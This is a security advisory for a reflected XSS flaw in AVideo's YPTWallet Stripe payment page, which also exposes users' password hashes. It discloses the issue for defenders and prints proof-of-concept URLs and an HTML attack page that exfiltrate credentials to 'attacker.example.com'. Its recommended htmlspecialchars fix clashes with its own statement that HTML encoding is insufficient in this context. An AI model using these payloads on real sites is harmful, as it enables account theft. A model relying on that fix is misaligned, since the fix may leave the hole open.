Skip to content

AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page

High severity GitHub Reviewed Published Mar 27, 2026 in WWBN/AVideo • Updated Mar 30, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

The YPTWallet Stripe payment confirmation page directly echoes the $_REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.

The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.

Details

The Stripe confirmation page renders the plugin parameter directly into a <script> block:

// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",

This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.

The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.

Immediately adjacent to the injection point, the script also exposes user credentials:

// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",

No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.

Proof of Concept

The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:

https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*

The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:

"plugin": ""}})});alert(document.domain);console.log({/*",

Credential exfiltration payload:

https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"

Simplified credential theft using the same-page credential leak:

<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
  // The confirmButton.php page outputs user/pass in the script block.
  // XSS lets us read it directly.
  var payload = encodeURIComponent(
    '",x:(function(){' +
    'var s=document.querySelector("script").textContent;' +
    'var u=s.match(/"user":"([^"]+)"/)[1];' +
    'var p=s.match(/"pass":"([^"]+)"/)[1];' +
    'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' +
    '})(),y:"'
  );
  window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload;
</script>
</body>
</html>

Reproduction steps:

  1. Navigate to the basic XSS URL above (substitute your target instance).
  2. Observe the JavaScript alert box confirming code execution.
  3. View the page source to confirm that User::getUserName() and User::getUserPass() are present in the same script block.
  4. Use the credential exfiltration payload to demonstrate data theft.

Impact

An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:

  • Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.
  • Session hijacking: Steal session cookies and impersonate the victim.
  • Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.
  • Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.

The lack of CSP headers means there are no browser-side mitigations against the injected scripts.

  • CWE: CWE-79 (Cross-Site Scripting - Reflected)
  • Severity: High (CVSS 8.1)

Recommended Fix

Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:

// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
// Before:
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",

// After:
"plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>",

Found by aisafe.io

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 27, 2026
Published by the National Vulnerability Database Mar 27, 2026
Published to the GitHub Advisory Database Mar 30, 2026
Reviewed Mar 30, 2026
Last updated Mar 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-34375

GHSA ID

GHSA-pm37-62g7-p768

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.